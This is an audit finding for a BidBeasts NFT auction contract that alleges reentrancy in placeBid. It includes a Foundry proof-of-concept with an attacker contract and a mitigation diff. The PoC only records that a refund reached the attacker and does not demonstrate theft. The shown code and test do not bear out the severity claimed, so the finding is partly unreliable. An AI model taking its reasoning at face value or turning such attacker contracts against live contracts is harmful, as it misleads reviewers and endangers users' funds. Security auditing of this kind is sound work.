[H-2] Reentrancy Due to External Calls Before State Update in placeBid
Description
An attacker can exploit reentrancy in placeBid to manipulate auction flow and drain ETH refunds, potentially stealing funds from honest bidders and the marketplace. Since external calls (_payout) are made before critical state updates (e.g., clearing or updating bids), the attacker can reenter and interfere with auction logic.
function placeBid(uint256 tokenId) external payable isListed(tokenId) {
Listing storage listing = listings[tokenId];
address previousBidder = bids[tokenId].bidder;
uint256 previousBidAmount = bids[tokenId].amount;
require(listing.seller != msg.sender, "Seller cannot bid");
require(listing.auctionEnd == 0 || block.timestamp < listing.auctionEnd, "Auction ended");
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
bids[tokenId] = Bid(msg.sender, salePrice);
listing.listed = false;
if (previousBidder != address(0)) {
_payout(previousBidder, previousBidAmount);
}
_executeSale(tokenId);
if (overpay > 0) {
_payout(msg.sender, overpay);
}
return;
}
}
Risk
Likelihood:
High – The function is publicly accessible, and an attacker can become the highest bidder with minimal cost (just above the minimum price). Once in position, the refund path is guaranteed to trigger on any higher bid or buy-now, making exploitation straightforward.
Impact:
High – Exploitation allows the attacker to reenter placeBid or other state-changing functions before state is finalized. This can:
Steal ETH credits from honest bidders.
Lock auctions in inconsistent states.
Deny service by blocking future bids or settlements.
Overall, this could lead to loss of funds for users and protocol insolvency if multiple auctions are targeted.
Proof of Concept
pragma solidity 0.8.20;
import {Test} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
contract ReentrantAttacker {
BidBeastsNFTMarket public market;
address public owner;
uint256 public tokenId;
bool public reentered;
constructor(address _market) {
market = BidBeastsNFTMarket(_market);
owner = msg.sender;
}
function placeInitialBid(uint256 _tokenId) external payable {
tokenId = _tokenId;
market.placeBid{value: msg.value}(_tokenId);
}
receive() external payable {
reentered = true;
}
function sweep(address payable to) external {
require(msg.sender == owner, "only owner");
to.transfer(address(this).balance);
}
}
contract ReentrancyPoCTest is Test {
BidBeasts public nft;
BidBeastsNFTMarket public market;
ReentrantAttacker public attackerContract;
address constant OWNER = address(0x1);
address constant SELLER = address(0x2);
address constant HONEST_BIDDER = address(0x3);
address constant COLLECTOR = address(0x999);
uint256 constant TOKEN_ID = 0;
uint256 constant MIN_PRICE = 1 ether;
function setUp() public {
vm.prank(OWNER);
nft = new BidBeasts();
vm.prank(OWNER);
market = new BidBeastsNFTMarket(address(nft));
attackerContract = new ReentrantAttacker(address(market));
vm.deal(HONEST_BIDDER, 10 ether);
vm.deal(address(attackerContract), 5 ether);
vm.deal(COLLECTOR, 0);
}
function test_reentrancy_detected() public {
vm.prank(OWNER);
nft.mint(SELLER);
vm.prank(SELLER);
nft.approve(address(market), TOKEN_ID);
vm.prank(SELLER);
market.listNFT(TOKEN_ID, MIN_PRICE, 0);
uint256 attackerInitial = MIN_PRICE + 0.1 ether;
vm.deal(address(attackerContract), attackerInitial);
vm.prank(address(attackerContract));
attackerContract.placeInitialBid{value: attackerInitial}(TOKEN_ID);
uint256 honestBid = attackerInitial + 1 ether;
vm.prank(HONEST_BIDDER);
market.placeBid{value: honestBid}(TOKEN_ID);
assertTrue(attackerContract.reentered(), "Attacker did not reenter on refund");
vm.prank(address(this));
attackerContract.sweep(payable(COLLECTOR));
}
}
forge test --match-test test_reentrancy_detected -vvv
Recommended Mitigation
function placeBid(uint256 tokenId) external payable isListed(tokenId) {
Listing storage listing = listings[tokenId];
address previousBidder = bids[tokenId].bidder;
uint256 previousBidAmount = bids[tokenId].amount;
require(listing.seller != msg.sender, "Seller cannot bid");
require(listing.auctionEnd == 0 || block.timestamp < listing.auctionEnd, "Auction ended");
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
- // EFFECT: set winner bid to exact sale price (keep consistent)
- bids[tokenId] = Bid(msg.sender, salePrice);
- listing.listed = false; // Marks listing as sold immediately.
-
- // @audit Reentrancy risk: external call before state cleanup
- if (previousBidder != address(0)) {
- _payout(previousBidder, previousBidAmount);
- }
- _executeSale(tokenId);
-
- if (overpay > 0) {
- _payout(msg.sender, overpay);
- }
+ // Clean up state first
+ bids[tokenId] = Bid(msg.sender, salePrice);
+ listing.listed = false;
+ // Record refund & payouts (use pull-over-push pattern)
+ if (previousBidder != address(0)) {
+ failedCredits[previousBidder] += previousBidAmount;
+ }
+ if (overpay > 0) {
+ failedCredits[msg.sender] += overpay;
+ }
+ // Execute sale logic AFTER state is consistent
+ _executeSale(tokenId);
return;
}
}
